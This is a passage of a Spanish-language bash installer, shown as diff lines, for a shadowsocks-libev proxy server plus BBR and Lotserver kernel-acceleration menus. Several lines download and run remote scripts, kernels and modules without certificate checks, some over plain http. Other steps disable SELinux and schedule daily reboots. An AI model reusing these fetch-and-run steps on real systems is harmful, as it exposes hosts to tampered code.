${shadowsocks_libev_init} + local service_name=$(basename ${shadowsocks_libev_init}) + if check_sys packageManager yum; then + chkconfig --add ${service_name} + chkconfig ${service_name} on + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} defaults + fi + install_shadowsocks_libev_obfs + ldconfig + + [ -f /usr/local/bin/ss-local ] && ln -s /usr/local/bin/ss-local /usr/bin + [ -f /usr/local/bin/ss-tunnel ] && ln -s /usr/local/bin/ss-tunnel /usr/bin + [ -f /usr/local/bin/ss-server ] && ln -s /usr/local/bin/ss-server /usr/bin + [ -f /usr/local/bin/ss-manager ] && ln -s /usr/local/bin/ss-manager /usr/bin + [ -f /usr/local/bin/ss-redir ] && ln -s /usr/local/bin/ss-redir /usr/bin + [ -f /usr/local/bin/ss-nat ] && ln -s /usr/local/bin/ss-nat /usr/bin + + ${shadowsocks_libev_init} start + if [ $? -eq 0 ]; then + + start_pm2_manager + + echo + echo -e "[${green}Info${plain}] ${service_name} Comenzado el exito!" + echo + echo "------------------------------------------------------------------" + echo -e "La instalacin del servidor shadowsocks-libev se ha completado." + echo -e "La IP de tu servidor: $(get_ip) " + echo -e "El puerto de su servidor: ${shadowsocksport} " + echo -e "Tu contrasena: ${shadowsockspwd} " + if [ "$(command -v obfs-server)" ]; then + echo -e "Tu obfs: ${shadowsocklibev_obfs} " + fi + echo -e "Su metodo de cifrado: ${shadowsockscipher} " + echo "-------------------------DISFRUTALO!------------------------------" + echo + else + echo "------------------------------------------------------------------" + echo -e "[${red}Error${plain}] ${shadowsocks_libev_init} Inicio Fallio." + echo "------------------------------------------------------------------" + fi + else + echo + echo -e "[${red}Error${plain}] Fallo la instalacion de Shadowsocks-libev." + install_cleanup + exit 1 + fi +} + +install_shadowsocks_libev_obfs(){ + if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then + cd ${cur_dir} + git clone https://github.com/shadowsocks/simple-obfs.git + [ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Error al git clone simple-obfs." + git submodule update --init --recursive + if centosversion 6; then + if [ ! "$(command -v autoconf268)" ]; then + echo -e "[${green}Info${plain}] Starting install autoconf268..." + yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Error al instalar autoconf268." + fi + # replace command autoreconf to autoreconf268 + sed -i 's/autoreconf/autoreconf268/' autogen.sh + # replace #include to #include + sed -i 's@^#include @#include @' src/local.h + sed -i 's@^#include @#include @' src/server.h + fi + ./autogen.sh + ./configure --prefix=/usr/local --disable-documentation && make && make install + if [ ! "$(command -v obfs-server)" ]; then + echo -e "[${red}Error${plain}] Simple-obfs para la instalacion de shadowsocks-libev fallo." + install_cleanup + exit 1 + fi + [ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin + [ -f /usr/local/bin/obfs-local ] && ln -s /usr/local/bin/obfs-local /usr/bin + fi +} + +install_cleanup(){ + cd ${cur_dir} + rm -rf simple-obfs + rm -rf ${libsodium_file} ${libsodium_file}.tar.gz + rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz + rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz +} + +install_main(){ + disable_selinux + install_prepare + update_nodejs + update_npm + install_pm2 + init_swapfile + install_dependencies + download_files + config_shadowsocks + modify_time + if check_sys packageManager yum; then + config_firewall + fi + + install_libsodium + if ! ldconfig -p | grep -wq "/usr/lib"; then + echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf + fi + ldconfig + deploy_shadowsocks_manager +} + +install_shadowsocks_libev(){ + if [ -f ${shadowsocks_libev_init} ]; then + echo -e "[${red}Error${plain}] Shadowsocks-libev ha sido instalado." + exit 1 + else + install_main + install_mbedtls + deploy_shadowsocks_libev + fi +} + +uninstall_shadowsocks_libev(){ + if [ -f ${shadowsocks_libev_init} ]; then + printf "Are you sure uninstall shadowsocks-libev? [y/n]\n" + read -p "(Predeterminado: n):" answer + [ -z ${answer} ] && answer="n" + if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then + ${shadowsocks_libev_init} status > /dev/null 2>&1 + if [ $? -eq 0 ]; then + ${shadowsocks_libev_init} stop + fi + local service_name=$(basename ${shadowsocks_libev_init}) + if check_sys packageManager yum; then + chkconfig --del ${service_name} + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} remove + fi + rm -fr $(dirname ${shadowsocks_libev_config}) + rm -f /usr/local/bin/ss-local + rm -f /usr/local/bin/ss-tunnel + rm -f /usr/local/bin/ss-server + rm -f /usr/local/bin/ss-manager + rm -f /usr/local/bin/ss-redir + rm -f /usr/local/bin/ss-nat + rm -f /usr/local/bin/obfs-local + rm -f /usr/local/bin/obfs-server + rm -f /usr/bin/ss-local + rm -f /usr/bin/ss-tunnel + rm -f /usr/bin/ss-server + rm -f /usr/bin/ss-manager + rm -f /usr/bin/ss-redir + rm -f /usr/bin/ss-nat + rm -f /usr/bin/obfs-local + rm -f /usr/bin/obfs-server + rm -f /usr/local/lib/libshadowsocks-libev.a + rm -f /usr/local/lib/libshadowsocks-libev.la + rm -f /usr/local/include/shadowsocks.h + rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc + rm -f /usr/local/share/man/man1/ss-local.1 + rm -f /usr/local/share/man/man1/ss-tunnel.1 + rm -f /usr/local/share/man/man1/ss-server.1 + rm -f /usr/local/share/man/man1/ss-manager.1 + rm -f /usr/local/share/man/man1/ss-redir.1 + rm -f /usr/local/share/man/man1/ss-nat.1 + rm -f /usr/local/share/man/man8/shadowsocks-libev.8 + rm -fr /usr/local/share/doc/shadowsocks-libev + rm -f ${shadowsocks_libev_init} + + pm2 stop ss-libev > /dev/null 2>&1 + pm2 delete ss-libev > /dev/null 2>&1 + rm -fr /usr/local/${shadowsocks_manager_name} + rm -rf ~/.ssmgr + + echo -e "[${green}Info${plain}] Shadowsocks-libev desinstala el exito" + else + echo -"$BARRA1" + echo -e "[${green}Info${plain}] Shadowsocks-libev desinstalacion cancelada, nada que hacer..." + echo -"$BARRA1" + fi + else +echo -"$BARRA1" + echo -e "[${red}Error${plain}] Shadowsocks-libev no esta instalado, verifiquelo e intentelo de nuevo." +echo -"$BARRA1" + ${SCPdir}/menu + fi +} +# Modify time zone +modify_time(){ + # set time zone + if check_sys packageManager yum; then + ln -sf /usr/share/zoneinfo/America/Mexico_City /etc/localtime + elif check_sys packageManager apt; then + ln -sf /usr/share/zoneinfo/America/Mexico_City /etc/localtime + fi + # status info + if [ $? -eq 0 ]; then + echo -e "[${green}Info${plain}] Modificar el exito de la zona horaria!" + else + echo -e "[${yellow}Warning${plain}] Modificar el fallo de zona horaria!" + fi +} + +reiniciar_ss(){ +clear +echo -e "reiniciando shadowsocks-libev" +sleep 3s +/etc/ini.d/shadowsocks-manager restart +} +salir(){ +${SCPdir}/menu +} +# Automatic restart system +auto_restart_system(){ + cd ${cur_dir} + if [ -f ${shadowsocks_libev_init} ]; then + if [ $? -eq 0 ]; then + #hour + echo -e "Please enter the hour now(0-23):" + read -p "(Hora predeterminada: 5):" auto_hour + [ -z "${auto_hour}" ] && auto_hour="5" + expr ${auto_hour} + 1 &>/dev/null + + #minute + echo -e "Please enter the minute now(0-59):" + read -p "(Hora predeterminada: 30):" auto_minute + [ -z "${auto_minute}" ] && auto_minute="30" + expr ${auto_minute} + 1 &>/dev/null + + echo -e "[${green}Info${plain}] El tiempo se ha establecido, a continuacion, instale crontab!" + + # Install crontabs + if check_sys packageManager yum; then + yum install -y vixie-cron cronie + elif check_sys packageManager apt; then + apt-get -y update + apt-get -y install cron + fi + + echo "$auto_minute $auto_hour * * * root /sbin/reboot" >> /etc/crontab + + # start crontabs + if check_sys packageManager yum; then + chkconfig crond on + service crond restart + elif check_sys packageManager apt; then + /etc/init.d/cron restart + fi + + if [ $? -eq 0 ]; then + echo -e "[${green}Info${plain}] Crontab empieza el exito!" + else + echo -e "[${yellow}Warning${plain}] Falla de inicio de Crontab!" + fi + + echo -e "[${green}Info${plain}] Ya se ha instalado con exito!" + echo -e "BARRA" + echo -e "El tiempo para el reinicio automatico se ha establecido! " + echo -e "BARRA" + echo -e "horas : ${auto_hour} " + echo -e "minutos : ${auto_minute} " + echo -e "Reinicie el sistema en ${auto_hour}:${auto_minute} Cada dia!" + echo -e "BARRA1" + + else + echo + echo -e "[${red}Error${plain}] Can't set automatic restart shadowsocks service!" + exit 1 + fi + + else + echo + echo -e "[${red}Error${plain}] Can't find shadowsocks service" + exit 1 + fi +} + + +bbr_inst () { +sh_ver="1.2.1" +github="raw.githubusercontent.com/chiakge/Linux-NetSpeed/master" + +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +blan_font_prefix="\033[1;37m" && ama_font_prefix="\033[1;33m" blue_font_prefix="\033[1;34m" && asul_font_prefix="\033[0;34m" +Info="${Green_font_prefix}[Informacion]${Font_color_suffix}" +Error="${Red_font_prefix}[Error]${Font_color_suffix}" +Tip="${Green_font_prefix}[Atencion]${Font_color_suffix}" + +# Instalacin BBR kernel +installbbr(){ + kernel_version="4.11.8" + if [[ "${release}" == "centos" ]]; then + rpm --import http://${github}/bbr/${release}/RPM-GPG-KEY-elrepo.org + yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-${kernel_version}.rpm + yum remove -y kernel-headers + yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-headers-${kernel_version}.rpm + yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-devel-${kernel_version}.rpm + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + mkdir bbr && cd bbr + wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u10_amd64.deb + wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/linux-headers-${kernel_version}-all.deb + wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/${bit}/linux-headers-${kernel_version}.deb + wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/${bit}/linux-image-${kernel_version}.deb + + dpkg -i libssl1.0.0_1.0.1t-1+deb8u10_amd64.deb + dpkg -i linux-headers-${kernel_version}-all.deb + dpkg -i linux-headers-${kernel_version}.deb + dpkg -i linux-image-${kernel_version}.deb + cd .. && rm -rf bbr + fi + detele_kernel + BBR_grub +echo -e "$BARRA1" + echo -e "${Tip} # Instalacion BBR kernel${Red_font_prefix}BBR/BBR magic version${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "Necesita reiniciar el VPS,antes de abrir la version magic de BBR/BBR, reiniciar ahora.? [Y/n] :" yn + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} La VPS se reiniciara ..." + reboot + fi +} + +# Instalar el kernel BBRplus +installbbrplus(){ + kernel_version="4.14.91" + if [[ "${release}" == "centos" ]]; then + wget -N --no-check-certificate https://${github}/bbrplus/${release}/${version}/kernel-${kernel_version}.rpm + yum install -y kernel-${kernel_version}.rpm + rm -f kernel-${kernel_version}.rpm + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + mkdir bbrplus && cd bbrplus + wget -N --no-check-certificate http://${github}/bbrplus/debian-ubuntu/${bit}/linux-headers-${kernel_version}.deb + wget -N --no-check-certificate http://${github}/bbrplus/debian-ubuntu/${bit}/linux-image-${kernel_version}.deb + dpkg -i linux-headers-${kernel_version}.deb + dpkg -i linux-image-${kernel_version}.deb + cd .. && rm -rf bbrplus + fi + detele_kernel + BBR_grub +echo -e "$BARRA1" + echo -e "${Tip} Despues de reiniciar el VPS, vuelva a ejecutar el script para abrir${Red_font_prefix}BBRplus${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "Necesita reiniciar el VPS,antes de que pueda encender BBRplus, desea reiniciar ahora? [Y/n] :" yn + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} La VPS se reiniciara ..." + reboot + fi +} + +#安装Lotserver内核 +installlot(){ + if [[ "${release}" == "centos" ]]; then + rpm --import http://${github}/lotserver/${release}/RPM-GPG-KEY-elrepo.org + yum remove -y kernel-firmware + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-firmware-${kernel_version}.rpm + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-${kernel_version}.rpm + yum remove -y kernel-headers + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-headers-${kernel_version}.rpm + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-devel-${kernel_version}.rpm + elif [[ "${release}" == "ubuntu" ]]; then + mkdir bbr && cd bbr + wget -N --no-check-certificate http://${github}/lotserver/${release}/${bit}/linux-headers-${kernel_version}-all.deb + wget -N --no-check-certificate http://${github}/lotserver/${release}/${bit}/linux-headers-${kernel_version}.deb + wget -N --no-check-certificate http://${github}/lotserver/${release}/${bit}/linux-image-${kernel_version}.deb + + dpkg -i linux-headers-${kernel_version}-all.deb + dpkg -i linux-headers-${kernel_version}.deb + dpkg -i linux-image-${kernel_version}.deb + cd .. && rm -rf bbr + elif [[ "${release}" == "debian" ]]; then + mkdir bbr && cd bbr + wget -N --no-check-certificate http://${github}/lotserver/${release}/${bit}/linux-image-${kernel_version}.deb + + dpkg -i linux-image-${kernel_version}.deb + cd .. && rm -rf bbr + fi + detele_kernel + BBR_grub +echo -e "$BARRA1" + echo -e "${Tip}Despus de reiniciar el VPS, vuelva a ejecutar el script para abrir${Red_font_prefix}Lotserver${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "Necesita reiniciar el VPS,antes de que pueda encender LotServer, desea reiniciar ahora?? [Y/n] :" yn + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} La VPS se reiniciara ..." + reboot + fi +} + +#启用BBR +startbbr(){ + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf + sysctl -p + echo -e "${Info}BBR comenzo con exito!" +} + +#启用BBRplus +startbbrplus(){ + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbrplus" >> /etc/sysctl.conf + sysctl -p + echo -e "${Info}BBRplus comenzo con exito" +} + +#编译并启用BBR魔改 +startbbrmod(){ + remove_all + if [[ "${release}" == "centos" ]]; then + yum install -y make gcc + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate http://${github}/bbr/tcp_tsunami.c + echo "obj-m:=tcp_tsunami.o" > Makefile + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc + chmod +x ./tcp_tsunami.ko + cp -rf ./tcp_tsunami.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + insmod tcp_tsunami.ko + depmod -a + else + apt-get update + if [[ "${release}" == "ubuntu" && "${version}" = "14" ]]; then + apt-get -y install build-essential + apt-get -y install software-properties-common + add-apt-repository ppa:ubuntu-toolchain-r/test -y + apt-get update + fi + apt-get -y install make gcc + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate http://${github}/bbr/tcp_tsunami.c + echo "obj-m:=tcp_tsunami.o" > Makefile + ln -s /usr/bin/gcc /usr/bin/gcc-4.9 + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc-4.9 + install tcp_tsunami.ko /lib/modules/$(uname -r)/kernel + cp -rf ./tcp_tsunami.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + depmod -a + fi + + + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=tsunami" >> /etc/sysctl.conf + sysctl -p + cd .. && rm -rf bbrmod + echo -e "${Info}Magic BBR comenzo con exito" +} + +#编译并启用BBR魔改 +startbbrmod_nanqinlang(){ + remove_all + if [[ "${release}" == "centos" ]]; then + yum install -y make gcc + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate https://raw.githubusercontent.com/chiakge/Linux-NetSpeed/master/bbr/centos/tcp_nanqinlang.c + echo "obj-m := tcp_nanqinlang.o" > Makefile + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc + chmod +x ./tcp_nanqinlang.ko + cp -rf ./tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + insmod tcp_nanqinlang.ko + depmod -a + else + apt-get update + if [[ "${release}" == "ubuntu" && "${version}" = "14" ]]; then + apt-get -y install build-essential + apt-get -y install software-properties-common + add-apt-repository ppa:ubuntu-toolchain-r/test -y + apt-get update + fi + apt-get -y install make gcc-4.9 + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate https://raw.githubusercontent.com/chiakge/Linux-NetSpeed/master/bbr/tcp_nanqinlang.c + echo "obj-m := tcp_nanqinlang.o" > Makefile + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc-4.9 + install tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel + cp -rf ./tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + depmod -a + fi + + + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=nanqinlang" >> /etc/sysctl.conf + sysctl -p + echo -e "${Info}Magic BBR comenzo con exito!" +} + +#启用Lotserver +startlotserver(){ + remove_all + if [[ "${release}" == "centos" ]]; then + yum install -y unzip + else + apt-get update + apt-get install -y unzip + fi + wget --no-check-certificate -O appex.sh https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh && chmod +x appex.sh && bash appex.sh install + rm -f appex.sh + start_menu +} + +#卸载全部加速 +remove_all(){ + rm -rf bbrmod + sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_max/d' /etc/sysctl.conf + sed -i '/net.core.wmem_max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_default/d' /etc/sysctl.conf + sed -i '/net.core.wmem_default/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_recycle/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_keepalive_time/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_rmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_wmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_mtu_probing/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + if [[ -e /appex/bin/serverSpeeder.sh ]]; then + wget --no-check-certificate -O appex.sh https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh && chmod +x appex.sh && bash appex.sh uninstall + rm -f appex.sh + fi + clear + echo -e "${Info}:Se completo la aceleracion " + sleep 1s +} + +#优化系统配置 +optimizing_system(){ + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + echo "fs.file-max = 1000000 +fs.inotify.max_user_instances = 8192 +net.ipv4.tcp_syncookies = 1 +net.ipv4.tcp_fin_timeout = 30 +net.ipv4.tcp_tw_reuse = 1 +net.ipv4.ip_local_port_range = 1024 65000 +net.ipv4.tcp_max_syn_backlog = 16384 +net.ipv4.tcp_max_tw_buckets = 6000 +net.ipv4.route.gc_timeout = 100 +net.ipv4.tcp_syn_retries = 1 +net.ipv4.tcp_synack_retries = 1 +net.core.somaxconn = 32768 +net.core.netdev_max_backlog = 32768 +net.ipv4.tcp_timestamps = 0 +net.ipv4.tcp_max_orphans = 32768 +# forward ipv4 +net.ipv4.ip_forward = 1" >> /etc/sysctl.conf + sysctl -p + echo "* soft nofile 1000000 +* hard nofile 1000000" > /etc/security/limits.conf +echo -e "$BARRA1" + echo "ulimit -SHn 1000000" >> /etc/profile +echo -e "$BARRA1" + read -p "Despues de reiniciar el VPS, la configuracion de optimizacin del sistema tendra efecto. desea reiniciar ahora? [Y/n] :" yn +echo -e "$BARRA1" + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} La VPS se reiniciara..." + reboot + fi +} +#更新脚本 +Update_Shell(){ +echo -e "$BARRA1" + echo -e "La version actual es [ ${sh_ver} ]comienza a detectar la ultima version ... " +echo -e "$BARRA1" + sh_new_ver=$(wget --no-check-certificate -qO- "http://${github}/tcp.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) + [[ -z ${sh_new_ver} ]] && echo -e "${Error} Fallo al detectar la ultima versin" && start_menu + if [[ ${sh_new_ver} != ${sh_ver} ]]; then +echo -e "$BARRA1" + echo -e "Encontro una nueva version[ ${sh_new_ver} ]actualizada?[Y/n]" +echo -e "$BARRA1" + read -p "(Predeterminado: y):" yn + [[ -z "${yn}" ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + wget -N --no-check-certificate http://${github}/tcp.sh && chmod +x tcp.sh + echo -e "El script se ha actualizado a la ultima version[ ${sh_new_ver} ] !" + else + echo && echo " Cancelado ..." && echo + fi + else + echo -e "Actualmente la ultima version[ ${sh_new_ver} ] !" + sleep 5s +start_menu + fi +} + +regresar () { +/etc/ger-inst/shadowsocks.sh +} + +check_kernel () { +echo -e "$BARRA1" +echo -e "${blan_font_prefix}Su version de kernel es la siguiente${Font_color_suffix}" +echo -e "$BARRA1" +sleep 2s +uname -r -i +echo -e "$BARRA1" +echo -e "${blan_font_prefix}Precione enter para regresar al menu${Font_color_suffix}" +echo -e "$BARRA1" +read enter && start_menu +} + +#开始菜单 +start_menu(){ +clear +echo -e "$BARRA1" +echo && echo -e " ${blan_font_prefix}TCP-BBR-LOTSERVER${Font_color_suffix} ${Green_font_prefix}NEW-AMD${Font_color_suffix} ${blan_font_prefix}by${Font_color_suffix} ${blue_font_prefix}DANKELTHAHER${Font_color_suffix} ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix} +"${BARRA1}" + + ${Green_font_prefix}[0] >${Font_color_suffix} Script de actualizacion +————————————Gestion del nucleo———————————— + ${Green_font_prefix}[1] >${Font_color_suffix} Instalar el kernel BBR / BBR magic modificado + ${Green_font_prefix}[2] >${Font_color_suffix} Instala el kernel BBRplus + ${Green_font_prefix}[3] >${Font_color_suffix} Instalar el kernel de Lotserver +————————————Gestion acelerada———————————— + ${Green_font_prefix}[4] >${Font_color_suffix} Utiliza BBR para acelerar + ${Green_font_prefix}[5] >${Font_color_suffix} Utiliza BBR magic para acelerar la version. + ${Green_font_prefix}[6] >${Font_color_suffix} Uso acelerado de magic BBR violento (no es compatible con algunos sistemas) + ${Green_font_prefix}[7] >${Font_color_suffix} Acelera con BBRplus + ${Green_font_prefix}[8] >${Font_color_suffix} Acelerar con Lotserver +————————————Gestion miscelanea———————————— + ${Green_font_prefix}[9] >${Font_color_suffix} Descargar toda la aceleracion + ${Green_font_prefix}[10] >${Font_color_suffix} Optimizacion de la configuracion del sistema + ${Green_font_prefix}[11] >${Font_color_suffix} Checar version de kernel + ${Green_font_prefix}[12] >${Font_color_suffix} regresar al menu Shadowsocks-Libev + ${Red_font_prefix}[13] >${Font_color_suffix} SALIR + +————————————————————————————————" && echo + + check_status + if [[ ${kernel_status} == "noinstall" ]]; then + echo -e "Estado actual: ${Green_font_prefix}No instalado ${Font_color_suffix}Kernel acelerado ${Red_font_prefix}Por favor, instale el kernel primero.${Font_color_suffix}" + else + echo -e "Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} ${_font_prefix}${kernel_status}${Font_color_suffix} Kernel acelerado , ${Green_font_prefix}${run_status}${Font_color_suffix}" + + fi +echo +read -p "Por favor seleccione una opcion[0-12]:" num +case "$num" in + 0) + Update_Shell + ;; + 1) + check_sys_bbr + ;; + 2) + check_sys_bbrplus + ;; + 3) + check_sys_Lotsever + ;; + 4) + startbbr + ;; + 5) + startbbrmod + ;; + 6) + startbbrmod_nanqinlang + ;; + 7) + startbbrplus + ;; + 8) + startlotserver + ;; + 9) + remove_all + ;; + 10) + optimizing_system + ;; + 11) + check_kernel + ;; + 12) + regresar + ;; + 13) + exit 1 + ;; + *) + clear + echo -e "${Error}Ingrese el numero correcto [0-11]" + sleep 5s + start_menu + ;; +esac +} +#############内核管理组件############# + +#删除多余内核 +detele_kernel(){ + if [[ "${release}" == "centos" ]]; then + rpm_total=`rpm -qa | grep kernel | grep -v "${kernel_version}" | grep -v "noarch" | wc -l` + if [ "${rpm_total}" > "1" ]; then +echo -e "$BARRA1" + echo -e "detecto {rpm_total} nucleos restantes y comenzo a desinstalar ..." +echo -e "$BARRA1" + for((integer = 1; integer <= ${rpm_total}; integer++)); do + rpm_del=`rpm -qa | grep kernel | grep -v "${kernel_version}" | grep -v "noarch" | head -${integer}` +echo -e "$BARRA1" + echo -e "Comience a desinstalar el kernel..." + rpm --nodeps -e ${rpm_del} +echo -e "$BARRA1" + echo -e "La desinstalacion del kernel de ${rpm_del} desinstalacion se ha completado, continue" +echo -e "$BARRA1" + done +echo -e "$BARRA1" + echo --nodeps -e "El kernel esta desinstalado, continua ..." +echo -e "$BARRA1" + else +echo -e "$BARRA1" + echo -e "El numero de nucleos detectados es incorrecto, verifique" && start_menu +echo -e "$BARRA1" + fi + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + deb_total=`dpkg -l | grep linux-image | awk '{print $2}' | grep -v "${kernel_version}" | wc -l` + if [ "${deb_total}" > "1" ]; then +echo -e "$BARRA1" + echo -e "检测到 ${deb_total} kernels restantes y se inicio la desinstalacion..." +echo -e "$BARRA1" + for((integer = 1; integer <= ${deb_total}; integer++)); do + deb_del=`dpkg -l|grep linux-image | awk '{print $2}' | grep -v "${kernel_version}" | head -${integer}` +echo -e "$BARRA1" + echo -e "Comience a desinstalar el kernel${deb_del}..." + apt-get purge -y ${deb_del} +echo -e "$BARRA1" + echo -e "La desinstalacion del kernel de ${deb_del} desinstalacion se ha completado, continue.." +echo -e "$BARRA1" + done +echo -e "$BARRA1" + echo -e "El kernel esta desinstalado, continua ..." +echo -e "$BARRA1" + else +echo -e "$BARRA1" + echo -e "El numero de nucleos detectados es incorrecto, verifique!" && start_menu +echo -e "$BARRA1" + fi + fi +} + +#更新引导 +BBR_grub(){ + if [[ "${release}" == "centos" ]]; then + if [[ ${version} = "6" ]]; then + if [ ! -f "/boot/grub/grub.conf" ]; then + echo -e "${Error} /boot/grub/grub.conf no se puede encontrar, verifique" + exit 1 + fi + sed -i 's/^default=.*/default=0/g' /boot/grub/grub.conf + elif [[ ${version} = "7" ]]; then + if [ ! -f "/boot/grub2/grub.cfg" ]; then + echo -e "${Error} /boot/grub2/grub.cfg no se pudo encontrar, verifique" + exit 1 + fi + grub2-set-default 0 + fi + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + /usr/sbin/update-grub + fi +} + +#############内核管理组件############# + + + +#############系统检测组件############# + +#检查系统 +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue 